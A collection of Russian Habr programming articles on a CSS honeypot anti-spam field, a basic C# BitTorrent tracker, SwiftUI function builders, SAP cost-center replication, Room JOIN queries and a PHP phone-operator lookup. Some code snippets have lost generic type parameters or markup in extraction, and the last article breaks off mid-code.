* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_250322&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_250322&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_250322&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_250322&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_250322&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_250322&utm_term=cat) | https://habr.com/ru/post/657507/ | null | ru | null |
# Борьба со спамом c использованием css
Смысл состоит в том, чтобы сделать в форме дополнительное поле и спрятать его стилями от пользователя. Пользователь не видит поле и не заполняет его, а бот заполнит. На стороне сервера проверять заполнено поле или нет.
html:
>
>
>
css:
> `body {`
>
>
По уверению автора, количество спама у него упало к 0.
[источник](http://www.modernbluedesign.com/web-design-blog/fighting-spam-with-css/). | https://habr.com/ru/post/12970/ | null | ru | null |
# BitTorrent Tracker на C#
Долгое время я искал в сети пример простейшего tracker-а на C#, но, к сожалению, мои поиски успехом не увенчались. Поэтому я решил попробовать себя в написании tracker-а на C#, а получив более-менее рабочую версию — поделиться опытом ее создания со всеми. А заодно и получить как можно больше советов по ее усовершенствованию.
Но давайте начнем с начала…
Первое, что я сделал — это открыл спецификацию протокола BitTorrent: .
В ней написано, что клиент отправляет серверу GET-запрос со следующими данными: info\_hash, peer\_id, ip, port, uploaded, downloaded, left и event.
Соответственно, на сервере БД я создал следующую таблицу:
```
CREATE TABLE [dbo].[psy_trance_fm_bittorrent_announces]
(
[id] [int] IDENTITY(1,1) NOT NULL,
[info_hash] [char](40) NOT NULL,
[peer_id] [char](40) NOT NULL,
[ip] [varchar](512) NOT NULL,
[port] [int] NOT NULL,
[uploaded] [int] NOT NULL,
[downloaded] [int] NOT NULL,
[left] [int] NOT NULL,
[event] [varchar](512) NULL
)
```
Также в спецификации написано, что сервер отправляет клиенту данные в формате text/plain в виде bencoded-словаря.
Bencoded-словарь может содержать четыре типа данных: string, int, list и dictionary.
Я написал четыре функции для кодирования в bencode — по одной для каждого типа данных:
```
public string encode(string _string)
{
StringBuilder string_builder = new StringBuilder();
string_builder.Append(_string.Length);
string_builder.Append(":");
string_builder.Append(_string);
return string_builder.ToString();
}
```
```
public string encode(int _int)
{
StringBuilder string_builder = new StringBuilder();
string_builder.Append("i");
string_builder.Append(_int);
string_builder.Append("e");
return string_builder.ToString();
}
```
```
public string encode(List list)
{
StringBuilder string\_builder = new StringBuilder();
string\_builder.Append("l");
foreach (object \_object in list)
{
if (\_object.GetType() == typeof(string))
{
string\_builder.Append(encode((string)\_object));
}
if (\_object.GetType() == typeof(int))
{
string\_builder.Append(encode((int)\_object));
}
if (\_object.GetType() == typeof(List))
{
string\_builder.Append(encode((List)\_object));
}
if (\_object.GetType() == typeof(SortedDictionary))
{
string\_builder.Append(encode((SortedDictionary)\_object));
}
}
string\_builder.Append("e");
return string\_builder.ToString();
}
```
```
public string encode(SortedDictionary sorted\_dictionary)
{
StringBuilder string\_builder = new StringBuilder();
string\_builder.Append("d");
foreach (KeyValuePair key\_value\_pair in sorted\_dictionary)
{
string\_builder.Append(encode((string)key\_value\_pair.Key));
if (key\_value\_pair.Value.GetType() == typeof(string))
{
string\_builder.Append(encode((string)key\_value\_pair.Value));
}
if (key\_value\_pair.Value.GetType() == typeof(int))
{
string\_builder.Append(encode((int)key\_value\_pair.Value));
}
if (key\_value\_pair.Value.GetType() == typeof(List))
{
string\_builder.Append(encode((List)key\_value\_pair.Value));
}
if (key\_value\_pair.Value.GetType() == typeof(SortedDictionary))
{
string\_builder.Append(encode((SortedDictionary)key\_value\_pair.Value));
}
}
string\_builder.Append("e");
return string\_builder.ToString();
}
```
Обращаю ваше внимание на то, что для словарей я использовал тип SortedDictionary, а не Dictionary. Все потому, что по спецификации ключи в словарях должны быть отсортированы.
Ну а дальше началось самое интересное…
Казалось бы, для того, чтобы получить из GET-запроса info\_hash и peer\_id достаточно использовать Request.QueryString[«info\_hash»] и Request.QueryString[«peer\_id»] соответственно, но эти методы возвращали полнейшую белиберду. Я долгое время не мог понять, в чем же дело…
А дело было в следующем: info\_hash, передаваемый от клиента к серверу, выглядит примерно так: %124Vx%9A%BC%DE%F1%23Eg%89%AB%CD%EF%124Vx%9A. Request.QueryString[«info\_hash»] считает, что это строка в формате UTF-8 и декодирует ее.
В этом можно убедиться, посмотрев Reflector-ом функцию FillFromString, например.
Для того, чтобы обойти этот момент, я решил поработать с Request.Url.Query, возвращающий «сырую» строку.
Собственно, я взял код функции FillFromString из Reflector-а и убрал из него пару строк, отвечающих за декодирование:
```
string s = Request.Url.Query.Substring(1);
SortedDictionary parameters = new SortedDictionary(StringComparer.Ordinal);
int num = (s != null) ? s.Length : 0;
for (int i = 0; i < num; i++)
{
int startIndex = i;
int num4 = -1;
while (i < num)
{
char ch = s[i];
if (ch == '=')
{
if (num4 < 0)
{
num4 = i;
}
}
else if (ch == '&')
{
break;
}
i++;
}
string str = null;
string str2 = null;
if (num4 >= 0)
{
str = s.Substring(startIndex, num4 - startIndex);
str2 = s.Substring(num4 + 1, (i - num4) - 1);
}
else
{
str2 = s.Substring(startIndex, i - startIndex);
}
parameters.Add("@" + str, str2);
}
```
Ну а для того, чтобы вернуть info\_hash и peer\_id в их исходный шестнадцатеричный формат я написал еще две строчки кода:
```
parameters["@info_hash"] = BitConverter.ToString(HttpUtility.UrlDecodeToBytes((string)parameters["@info_hash"])).Replace("-", "").ToLower();
parameters["@peer_id"] = BitConverter.ToString(HttpUtility.UrlDecodeToBytes((string)parameters["@peer_id"])).Replace("-", "").ToLower();
```
По спецификации, ip и event — опциональные параметры. Ip большиство клиентов на сервер не передает, а event передает только в трех случаях: started, completed и stopped.
Поэтому я решил проверить, имеются ли они в коллекции параметров, ну а если нет — то добавить их:
```
if (parameters.ContainsKey("@ip") == false)
{
parameters.Add("@ip", Request.UserHostAddress);
}
if (parameters.ContainsKey("@event") == false)
{
parameters.Add("@event", DBNull.Value);
}
```
Далее все просто. Проверяем, имеется ли в базе данных раздача, соответствующая переданным info\_hash и peer\_id, если нет, то добавляем ее, если да, то просто обновляем данные о раздаче.
psy\_trance\_fm.execute\_scalar и psy\_trance\_fm.execute\_non\_query — это функции для работы с базой данных, они очень типичные и приводить их здесь смысла не вижу.
```
psy_trance_fm psy_trance_fm = new psy_trance_fm();
if (psy_trance_fm.execute_scalar("SELECT * FROM [dbo].[psy_trance_fm_bittorrent_announces] WHERE [info_hash] = @info_hash AND [peer_id] = @peer_id", parameters, CommandType.Text) == null)
{
psy_trance_fm.execute_non_query("INSERT INTO [dbo].[psy_trance_fm_bittorrent_announces] ([info_hash], [peer_id], [ip], [port], [uploaded], [downloaded], [left], [event]) VALUES (@info_hash, @peer_id, @ip, @port, @uploaded, @downloaded, @left, @event)", parameters, CommandType.Text);
}
else
{
psy_trance_fm.execute_non_query("UPDATE [dbo].[psy_trance_fm_bittorrent_announces] SET [ip] = @ip, [port] = @port, [uploaded] = @uploaded, [downloaded] = @downloaded, [left] = @left, [event] = @event WHERE [info_hash] = @info_hash AND [peer_id] = @peer_id", parameters, CommandType.Text);
}
```
После того, как мы записали данные в БД нам нужно вернуть bencoded-словарь клиенту.
Это делается следующим образом:
```
SortedDictionary sorted\_dictionary = new SortedDictionary(StringComparer.Ordinal);
sorted\_dictionary.Add("interval", 60);
List peers = new List();
DataTable data\_table = psy\_trance\_fm.fill("SELECT \* FROM [dbo].[psy\_trance\_fm\_bittorrent\_announces] WHERE [info\_hash] = @info\_hash", parameters, CommandType.Text);
foreach (DataRow data\_row in data\_table.Rows)
{
SortedDictionary peer = new SortedDictionary(StringComparer.Ordinal);
peer.Add("peer id", data\_row["peer\_id"]);
peer.Add("ip", data\_row["ip"]);
peer.Add("port", data\_row["port"]);
peers.Add(peer);
}
sorted\_dictionary.Add("peers", peers);
bencode bencode = new bencode();
Response.Write(bencode.encode(sorted\_dictionary));
```
Ну вот и все! Простейший C# BitTorrent Tracker готов. Да, в нем отсутствуют какие-либо обработки ошибок, статистика и прочее-прочее-прочее. Но он работает!
Я очень надеюсь, что разбирающиеся люди подскажут, как можно его улучшить, какие в нем есть ошибки и вообще дадут побольше советов.
Спасибо, что прочитали! | https://habr.com/ru/post/187544/ | null | ru | null |
# Магия SwiftUI или о Function builders
Вы пробовали добавить в `VStack` больше 10 вьюх?
```
var body: some View {
VStack {
Text("Placeholder1")
Text("Placeholder2")
// ... тут вьюшки с 3 по 10 . . .
Text("Placeholder11")
}
}
```
Я попробовал — это не компилируется. Да, я тоже сначала был удивлен и погрузился в изучение форума Swift и гитхаба. Результатом моего изучения стало — "все равно не компилируется `¯\_(ツ)_/¯` ". Но подождите, давайте разберемся почему.
Function Builder
----------------
Для начала стоит понять, как такой синтаксис стал вообще доступен. В основе столь непривычного нам декларативного создания элементов лежит механизм **Function Builder**.
На гитхабе в [swift-evolution](https://github.com/apple/swift-evolution) есть proposal от John McCall и Doug Gregor — [Function builders (Proposal: SE-XXXX)](https://github.com/apple/swift-evolution/blob/9992cf3c11c2d5e0ea20bee98657d93902d5b174/proposals/XXXX-function-builders.md), в котором они подробно описывают о том, какая проблема перед ними стояла, почему было решено использовать именно Functions Builder и что это вообще такое.
### Итак, что это?
Сложно описать это в двух словах, но если коротко — это механизм, который позволяет в теле кложуры перечислить аргументы, некое содержимое, и выдать из всего этого общий результат.
Цитата из [Proposal: SE-XXXX](https://github.com/apple/swift-evolution/blob/9992cf3c11c2d5e0ea20bee98657d93902d5b174/proposals/XXXX-function-builders.md):
> Основная идея в том, что мы берем результат выражения, включая вложенные выражения вроде if и switch, и формируем их в один результат, который становится возвращаемым значением текущей функции. Эта "сборка" контролируется билдером функции, который является кастомным атрибутом.
**Оригинал**
> the basic idea is that we take the «ignored» expression results of a block of statements — including in nested positions like the bodies ofifandswitchstatements — and build them into a single result value that becomes the return value of the current function. The way this collection is performed is controlled by afunction builder, which is just a new kind of custom-attribute type;
Такой механизм позволяет писать декларативный древовидный код, без лишних символов пунктуации:
```
let myBody = body {
let chapter = spellOutChapter ? "Chapter" : ""
div {
if useChapterTitles {
h1(chapter + "1. Loomings.")
}
p {
"Call me Ishmael. Some years ago"
}
p {
"There is now your insular city"
}
}
}
```
Доступно это благодаря новому атрибуту `@_functionBuilder`. Этим атрибутом помечается некоторый билдер, он может быть структурой. У этого билдера реализуется ряд конкретных методов. Далее этот билдер используется сам, в качестве пользовательского атрибута в различных ситуациях.
Чуть ниже я покажу как это работает и как организовать такой код.
### Зачем это?
Таким образом Apple хотят сделать поддержу встроенного *domain-specific language* [DSL](https://en.wikipedia.org/wiki/Domain-specific_language).
John McCall и Doug Gregor главными аргументами приводят то, что такой код намного легче читать и писать — это упрощает синтаксис, делает его более лаконичным и, как следствие, код становится более поддерживаемым. При этом они отмечают, что их решение — это не универсальный DSL.
Это решение нацеленно на конкретный ряд проблем, в числе которых описывать линейные и древовидные структуры, такие как XML, JSON, иерархии View и т.д.
### Как с этим работать?
Вы можете создать свой function builder, мне было легче понять принцип его работы именно так. Рассмотрим примитивный пример билдера, который конкатенирует строки.
```
// 1. Создаем Builder
@_functionBuilder struct MyBuilder {
static func buildBlock(_ atrs: String...) -> String {
return atrs.reduce("", + )
}
}
```
```
// 2. Добавляем его атрибутом перед кложурой в каком либо методе
func stringsReduce(@MyBuilder block: () -> String) -> String {
return block()
}
```
```
// 3. Используем в клиентском коде
let result = stringsReduce {
"1"
"2"
}
print(result) // "12"
```
Под капотом это будет отрабатывать так:
```
let result = stringsReduce {
return MyBuilder.build("1", "2")
}
```
Важно, что в реализации билдера методы должны быть именно статическими, с конкретными именами и [с конкретным видом параметров из этого списка](https://github.com/apple/swift-evolution/blob/9992cf3c11c2d5e0ea20bee98657d93902d5b174/proposals/XXXX-function-builders.md#function-building-methods). Можно лишь изменять тип и имя входного параметра.
```
static func buildBlock(_ <*atrs*>: <*String*>...) -> <*String*>
```
Именно конкретные имена методов будут искаться в билдере и подставляться на этапе компиляции. И если метод не будет найден — случится ошибка компиляции.
И это магия. Когда вы будете реализовывать билдер, компилятор не подскажет вам совершенно ничего. Не скажет о доступных методах, не поможет автокомплитом. Лишь когда вы напишете клиентский код, который не сможет обработаться этим билдером, вы получите невнятную ошибку.
Пока единственное решение, которое я нашел, это руководствоваться [списком методов](https://github.com/apple/swift-evolution/blob/9992cf3c11c2d5e0ea20bee98657d93902d5b174/proposals/XXXX-function-builders.md#function-building-methods).
Так зачем нужны другие методы? Ну например, чтобы поддержать такой код c проверками
```
stringsReduce {
if .random() { // рандомное значение Bool
"one string"
}
else {
"another one"
}
"fixed string"
}
```
Для поддержки такого синтаксиса в билдере нужно реализовать методы `buildEither(first:/second:)`
```
static func buildEither(first: String) -> String {
return first
}
static func buildEither(second: String) -> String {
return second
}
```
### Реакция сообщества
Забавно то, что этого еще нет в Swift 5.1, то есть [пулл-реквест](https://github.com/apple/swift/pull/25221) c этой фичей еще не влит, но тем не менее Apple уже добавили ее в XCode 11 beta. А на [Function builders → Pitches → Swift Forums](https://forums.swift.org/t/function-builders/25167/16) можно посмотреть реакцию комьюнити на этот proposal.
ViewBuilder
-----------
Теперь вернемся к `VStack` и посмотрим документацию его инициализатора [init(alignment:spacing:content:)](https://developer.apple.com/documentation/swiftui/vstack/3278367-init).
Выглядит он следующим образом:
```
init(alignment: HorizontalAlignment = .center, spacing: ? = nil, @ViewBuilder content: () -> Content)
```
И перед кложурой контент стоит пользовательский атрибут [@ViewBuilder](https://developer.apple.com/documentation/swiftui/viewbuilder)
Объявлен он следующим образом:
```
@_functionBuilder public struct ViewBuilder {
/// Builds an empty view from an block containing no statements, `{ }`.
public static func buildBlock() -> EmptyView
/// Passes a single view written as a child view (e..g, `{ Text("Hello") }`) through
/// unmodified.
public static func buildBlock(\_ content: Content) -> Content where Content : View
}
```
Пользовательским атрибутом его делает @`_functionBuilder`, прописанный в начале его объявления.
А если полистать документацию еще ниже, то там видно множество статических методов `buildBlock`, отличающихся количеством аргументов.
Это значит, что код вида
```
var body: some View {
VStack {
Text("Placeholder1")
Text("Placeholder2")
Text("Placeholder3")
}
}
```
под капотом преобразуется в такой
```
var body: some View {
VStack(alignment: .leading) {
ViewBuilder.buildBlock(Text("Placeholder1"), Text("Placeholder2"), Text("Placeholder3"))
}
}
```
Т.е. отрабатывает метод билдера [buildBlock(*:*:\_:)](https://developer.apple.com/documentation/swiftui/viewbuilder/3278686-buildblock).
Из всего этого списка метод с максимальным количеством аргументов — это этот парень [buildBlock(*:*:*:*:*:*:*:*:*:*:)](https://developer.apple.com/documentation/swiftui/viewbuilder/3278693-buildblock) (10 аргументов):
```
extension ViewBuilder {
public static func buildBlock(\_ c0: C0, \_ c1: C1, \_ c2: C2, \_ c3: C3, \_ c4: C4, \_ c5: C5, \_ c6: C6, \_ c7: C7, \_ c8: C8, \_ c9: C9) -> TupleView<(C0, C1, C2, C3, C4, C5, C6, C7, C8, C9)> where C0 : View, C1 : View, C2 : View, C3 : View, C4 : View, C5 : View, C6 : View, C7 : View, C8 : View, C9 : View
}
```
И соответственно, возвращаясь к изначальному примеру, когда вы пытаетесь поднять `VStack` и одиннадцать вьюшек внутри, компилятор пытается найти метод ViewBuilder'a `buildBlock`, у которого 11 аргументов на входе. Но такого метода нет: отсюда и ошибка компиляции.
Это актуально для всех коллекций, использующих в инициализаторе кложуру с атрибутом `@ViewBuilder`: V|H|Z-Stack, List, Group и прочие, внутри которых вы можете объявить больше одной вьюшки перечислением.
И это грустно.
**MEM** (простите, так и не нашел достойного мема)
Как быть?
---------
Мы можем обходить это ограничение используя `ForEach`
```
struct TestView : View {
var body: some View {
VStack {
ForEach(texts) { i in
Text(«\(i)»)
}
}
}
var texts: [Int] {
var result: [Int] = []
for i in 0...150 {
result.append(i)
}
return result
}
}
```
Или же вложенностью коллекций:
```
var body: some View {
VStack {
VStack {
Text("Placeholder_1")
Text("Placeholder_2")
// И Еще 8
}
Group {
Text("11")
Text("12")
// И Еще 8
}
}
}
```
Но такие решения выглядят как костыли и остается лишь надежда на светлое будущее. Но какое оно это будущее?
В Swift уже есть [Variadic parameters](https://docs.swift.org/swift-book/LanguageGuide/Functions.html). Это возможность метода принимать на вход аргументы перечислением. Например известный каждому метод `print` позволяет написать как `print(1, 2)`, так и `print(1, 2, 3, 4)` и это без излишних перегрузок метода.
```
print(items: Any...)
```
Но этой фичи языка недостаточно, так как метод `buildBlock` принимает на вход разные generic аргументы.
Добавление [Variadic generics](https://github.com/apple/swift/blob/master/docs/GenericsManifesto.md#variadic-generics) решило бы эту проблему. Variadic generics позволяют абстрагироваться от множества generic типов, например как-то так:
```
static func buildBlock<…Component>(Component...) -> TupleView<(Component...)> where Component: View
```
И Apple просто обязаны добавить это. В этот механизм сейчас все упирается. И мне кажется, что его просто не успели допилить к WWDC 2019 (но это лишь домыслы). | https://habr.com/ru/post/455760/ | null | ru | null |
# Передача центров затрат с привязкой к дополнительным объектам Employee Central
Введение
--------
Программа ODTF\_REPL\_CC используется для передачи центров затрат из SAP ERP CO в Employee Central, что включает следующие данные: уникальный код центра затрат (поле externalCode), краткий код центра затрат (поле costCenterExternalObjectId), дата начала действия, статус, имя, описание, юридическое лицо (т.н. балансовая единица) и руководитель центра затрат.[[1][2]](https://habr.com/en/post/661353/#n1)
Программа использует IDoc ODTF\_CCTR, основанный на базисном типе ODTF\_CCTR01.
В этой статье мы продемонстрируем способы передачи центров затрат и их соединений с дополнительными типовым объектам и объектам основы, например: структурными единицами, расположением, функциями должностей или подразделениями.
Читатель узнает альтернативу расширению базисного типа ODTF\_CCTR01.
Общие сведения
--------------
Предположим, что вместе с центрами затрат требуется передать их соединения со структурной единицей и расположением, чтобы использовать эти соединения в критериях полей для ограничения списка центров затрат, доступных для выбора в отделах, позициях и СКУ-элементе «Информация о должности».[[3]](https://habr.com/en/post/661353/#n3)
Стандартный пакет ERPtoSuccessFactorsEmployeeCentralCostCenter приложения SAP Cloud Integration не видит расширение базисного типа ODTF\_CCTR01, поэтому для передачи дополнительных соединений приходится использовать стандартные поля:
* externalCode, что является уникальным кодом центра затрат
* costCenterExternalObjectId, что является кратким кодом центра затрат
Поле externalCode
-----------------
Предположим, что коды центров затрат имеют смысловое значение и что пятый символ кода соответствует структурной единице. Например, центры затрат ABCD**1**234567890 и ABCD**9**876543210 принадлежат структурной единице **CORP**, так как пятый символ в их коде равен 1 и 9 соответственно. Мы можем заложить эту логику в определение структурной единицы при помощи нестандартного множественного составного дочернего объекта. На Рисунке 1 этот дочерний объект отмечен желтым. Код его определения cust\_FifthCharOfCostCenterCode.
Рисунок 1. Нестандартный множественный составной дочерний объект cust\_FifthCharOfCostCenterCode, используемый для вычисления структурной единицы для центров затратПрограммный код 1 демонстрирует тело бизнес-правила «По сохранению», которое вычисляет структурную единицу на основе внешнего кода объекта CostCenter. Это MDF-правило с назначением «Оценить», выполняемое по событию «Сохранение» MDF-объекта CostCenter.
Привязка центров затрат к другим типовым объектам и объектам основы производиться аналогичным образом.
*Программный код 1. MDF-правило, связывающее центры затрат с их структурными единицами*
```
rule()
{
if(true)
{
CostCenter.cust_toBusinessUnit = lookup("cust_FifthCharOfCostCenterCode","parent","",
["externalCode","==",substring(text:CostCenter.externalCode,start:"5",length:"1"),"",""]);
}
}
```
Поле costCenterExternalObjectId
-------------------------------
У поля costCenterExternalObjectId узкое применение: оно может использоваться для передачи данных по сотрудникам из Employee Central в SAP HCM при условии, если:
1. Использование поля активировано в кластере VC\_ECPAO\_QRY\_CFG «Параметры запроса основных данных сотрудников и организационного присвоения»
2. Интеграция PA/PD в SAP HCM деактивирована
3. Поле cost-center СКУ-элемента «Информация о должности» передается непосредственно в поле KOSTL инфотипа «Организационное присвоение» в SAP HCM
Однако существует много способов определения места возникновения затрат на основании поля externalCode для передачи данных в инфотип «Организационное присвоение», поэтому, как правило, нет необходимости использовать поле costCenterExternalObjectId по прямому назначению.
Предположим, что поле costCenterExternalObjectId не требуется для передачи МВЗ в инфотип «Организационное присвоение», тогда мы можем использовать это поле для передачи дополнительных связей центров затрат. Длина этого поля составляет 40 символов, и этого достаточно для всех родительских объектов мест возникновений затрат.
Программный код 2 демонстрирует реализацию BAdI ODTF\_CO\_REPL\_IDOC\_COST\_CENTERS, которая заполняет поле costCenterExternalObjectId кодами расположения и структурной единицы.
*Программный код 2. Пример реализации BAdI ODTF\_CO\_REPL\_IDOC\_COST\_CENTERS*
```
METHOD if_odtf_co_repl_idoc_cost_cent~modify_cost_center_extractor.
LOOP AT cs_cost_centers_idoc-cost_centre ASSIGNING FIELD-SYMBOL().
-remote\_external\_object\_id =
'CODE\_OF\_LOCATION ; CODE\_OF\_BUSINESS\_UNIT'. "Вставьте свой код сюда
ENDLOOP.
ENDMETHOD.
```
Передача поля costCenterExternalObjectId должна быть включена в приложении SAP Cloud Integration в пакете ERPtoSuccessFactorsEmployeeCentralCostCenter в iFlow SAPToSFSFCostCenterReplication во внешнем параметре USE\_EXTERNAL\_COST\_CENTER.
Привязка центров затрат к самим типовым объектам и объектам основы производиться так, как уже было описано в Программном коде 1.
Выводы
------
Центры затрат можно автоматически привязывать к дополнительным объектам при помощи реализации BAdI ODTF\_CO\_REPL\_IDOC\_COST\_CENTERS и MDF-правил объекта CostCenter.
Список литературы
-----------------
1. Латышенко В. В. The Core Hybrid integration model on the example of Cost Centers [Электронный ресурс] // SAPinsider. 2020. URL: <https://www.sapinsideronline.com/wp-content/uploads/2020/12/The-Core-Hybrid-Integration-Model-on-the-Example-of-Cost-Centers.pdf> (Дата обращения: 17.04.2022).
2. Replicating Cost Centers from SAP ERP to Employee Central Using SAP Cloud Integration as the Middleware. Document Version: 1H 2022 – 2022-04-14 [Электронный ресурс]. URL: <https://help.sap.com/doc/6e943d18c1f347b88e91b1e605d502e2/latest/en-US/SF_ERP_EC_CC_HCI_en-US.pdf> (Дата обращения: 17.04.2022).
3. Replicating Employee Master Data and Organizational Assignments from Employee Central to SAP ERP HCM. Document Version: 1H 2022 – 2022-04-14 [Электронный ресурс]. URL: <https://help.sap.com/doc/435c6837038d4eb4b1a39947411d5a3e/latest/en-US/SF_EC_ERP_EE_Data_Org_Assignm_HCI_en-US.pdf> (Дата обращения: 17.04.2022).\
---
[[1]](https://habr.com/en/post/661353/#1) Центры затрат в русском переводе SAP ERP называются местами возникновения затрат, сокращенно МВЗ
[[2]](https://habr.com/en/post/661353/#1) Если есть выбор передачи центров затрат либо из SAP CO, либо из SAP HCM, то выбор SAP HCM является более предпочтительным, чтобы обеспечить одинаковый список центров затрат в SAP HCM и Employee Central
[[3]](https://habr.com/en/post/661353/#3) СКУ - система кадрового учета, HRIS в английском переводе SuccessFactors | https://habr.com/ru/post/661353/ | null | ru | null |
# Используем join в SQLite-запросах Room для android
Совсем недавно вышла [2.4.0-alpha04](https://developer.android.com/jetpack/androidx/releases/room#2.4.0-alpha04) -версия Room, которая упрощают написание методов DAO и позволяет возвращать данные запросов в формате Map. В этом посте мы вспомним про форматы JOIN в SQLite и напишем простой пример, демонстрирующий новую фичу в Room.
Типы Join в SQLite
------------------
Для начала, давайте вспомним, что такое join. Join - это возможность объединения двух и более таблиц в одну при помощи команды SELECT и ключевого слова JOIN.
Принцип работы запросов на объединения таблиц в SQL и реляционных базах данных заключается в том, что на основе переданного условия, которое называют предикатом объединения СУБД определяет какие строки из двух таблиц ей нужно объединять.
Вообще, стандарт SQL выделяет гораздо больше модификаторов JOIN:
1. INNER JOIN – внутреннее объединение таблиц.
2. LEFT JOIN или LEFT OUTER JOIN – левое внешнее объединение таблиц.
3. RIGHT JOIN или RIGHT OUTER JOIN – правое внешнее объединение таблиц.
4. FULL JOIN – полное объединение таблиц.
5. CROSS JOIN – перекрестное объединение таблиц.
Но в базах данных SQLite (а соответственно в Room) есть только три вида объединения таблиц.
Давайте рассмотрим первый тип объедения. Например, у нас есть приложения для учёта недвижимости. Соответственно у нас есть 2 сущности: пользователь и квартира:
Таким образом, у нас отношение 1 ко многим, то есть 1 владелец и много квартир.
Чтобы сделать запрос к такой БД, состоящей из таких таблиц, можно попробовать
* Использовать аннотацию @Relation
* Использовать inner join
Первый вариант мог бы выглядеть так. Сначала указываем data класс для получения результата:
```
data class UserWithApartment(
@Embedded
val user: User,
@Relation(
parentColumn = "userId",
entityColumn = "ownerId"
)
val apartments: List
)
```
Затем в DAO описываем метод получения данных:
```
@Transaction
@Query("SELECT * FROM User")
fun getUsersWithAparts():List
```
Room автоматически, используя аннотацию [@Relation](/users/relation)вернёт нужные данные.
Однако, теперь нам необязательно создавать дополнительный класс-холдер для получения результата. Такой результат мы можем получить, используя inner join.
Перепишем приведенный пример выше, используя join:
```
@Query("SELECT * FROM User JOIN Apartment ON User.userId = Apartment.ownerId")
fun getUserAndAparts(): Map>
```
Таким образом мы получили всех владельцев и список квартир. При этом мы избежали лишнего класса-холдера - однако теперь SQL-запрос стал сложнее. В данном примере мы делаем join на основе первичного ключа пользователя.
На этом всё, надеюсь этот пример был для вас полезен и вы вспомнили что такое join и как его использовать. Не забудьте присоединиться к нам в [Telegram](https://t.me/android_school_ru), а на платформе [AndroidSchool.ru](https://androidschool.ru/)публикуются полезные материалы для Android-разработчика и современные туториалы. | https://habr.com/ru/post/570400/ | null | ru | null |
# Узнаем оператора и регион мобильного телефона
Как то гуляя в интернете наткнулся на интересную ссылку — [Коды мобильных операторов](http://mtt.ru/info/def/index.wbp). И очень мне захотелось иметь такую базу локально.
Под катом дамп mysql базы, php код для её использования и скрипт парсер для обновления.
Для начала надо [скачать базу](http://narod.ru/disk/4098357000/mtt_dump.zip.html).
После чего можно получать данные из базы примерно так:
> `php<br/
> $config['mysql\_host'] = 'localhost';
>
> $config['mysql\_user'] = 'root';
>
> $config['mysql\_password'] = '';
>
> $config['mysql\_base'] = 'smsprice';
>
>
>
> define("PREFIX","mtt\_");
>
>
>
> $mysql = new mysqli($config['mysql\_host'],$config['mysql\_user'],$config['mysql\_password'],$config['mysql\_base']);
>
> $mysql->query("SET NAMES 'cp1251'");
>
>
>
> $number = '+7(910)89-480-23';
>
>
>
> $number = preg\_replace('/[^0-9]+/','',$number);
>
>
>
> if (strlen($number) == 11) {
>
> $number = substr($number,1);
>
> }
>
>
>
> if (strlen($number) == 10) {
>
> $def = substr($number,0,3);
>
> $code = substr($number,3);
>
> $stmt = $mysql->stmt\_init();
>
> $stmt->prepare(
>
> 'SELECT regions.name AS region, operators.name AS operator '.
>
> 'FROM `'.PREFIX.'codes` AS codes '.
>
> 'INNER JOIN `'.PREFIX.'regions` AS regions ON regions.id = codes.region '.
>
> 'INNER JOIN `'.PREFIX.'operators` AS operators ON operators.id = codes.operator '.
>
> 'WHERE `def` = ? '.
>
> 'AND ? < `to` '.
>
> 'AND ? > `from`'
>
> );
>
> $stmt->bind\_param("iii", $def, $code, $code);
>
> $stmt->execute();
>
> $stmt->bind\_result($region, $operator);
>
> while ($stmt->fetch()) {
>
> echo "Регион ".htmlspecialchars($region)."
> \r\n";
>
> echo "Оператор ".htmlspecialchars($operator)."
> \r\n";
>
> }
>
> $stmt->close();
>
> } else {
>
> echo 'Ошибка: неправильный формат номера';
>
> }
>
> ?>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Я не уверен на счет скорости запросов и структуры базы, так что если кто то посоветуют как правильней можно сделать — буду очень благодарен.
Если не хочется мучиться с заливкой базой и php то посмотреть как работает можно [тут](http://jeck.ru/labs/Numbers).
**UPD:**
По просьбам трудящихся код парсера для обновления базы с mtt:
> `php<br/
> set\_time\_limit(0);
>
>
>
> $config['mysql\_host'] = 'localhost';
>
> $config['mysql\_user'] = 'root';
>
> $config['mysql\_password'] = '';
>
> $config['mysql\_base'] = 'smsprice';
>
>
>
> define("PREFIX","mtt\_");
>
>
>
> $mysql = new mysqli($config['mysql\_host'],$config['mysql\_user'],$config['mysql\_password'],$config['mysql\_base']);
>
> $mysql->query("SET NAMES 'cp1251'");
>
>
>
> $regxp = '#'.
>
> '|\s\*'
> .
>
> ' (.\*) |\s\*'.
>
> ' (.\*) |\s\*'.
>
> ' (.\*) |\s\*'.
>
> ' \s\*' |.
>
> '.\*'.
>
> ' .\* |\s\*'.
>
> ''.
>
> '#isU';
>
>
>
> $page = file\_get\_contents('http://mtt.ru/info/def/index.wbp?def=&number=®ion=&standard=&date=&operator=');
>
> preg\_match\_all($regxp,$page,$result);
>
>
>
> $mysql->query('TRUNCATE TABLE `'.PREFIX.'codes`');
>
>
>
> for ($i=0,$l=count($result[0]);$i<$l;$i++) {
>
> $operator = $result[1][$i];
>
> $region = $result[2][$i];
>
> $def = $result[3][$i];
>
> list($range\_from,$range\_to) = explode("-",$result[4][$i]);
>
> $range\_from = substr($range\_from,3);
>
> $range\_to = substr($range\_to,3);
>
> $date = str\_replace(".","-",$result[5][$i]);
>
>
>
> $stmt = $mysql->stmt\_init();
>
> $stmt->prepare("SELECT id FROM ".PREFIX."operators WHERE name=?");
>
> $stmt->bind\_param("s", $operator);
>
> $stmt->execute();
>
> $stmt->store\_result();
>
>
>
> if ($stmt->num\_rows > 0) {
>
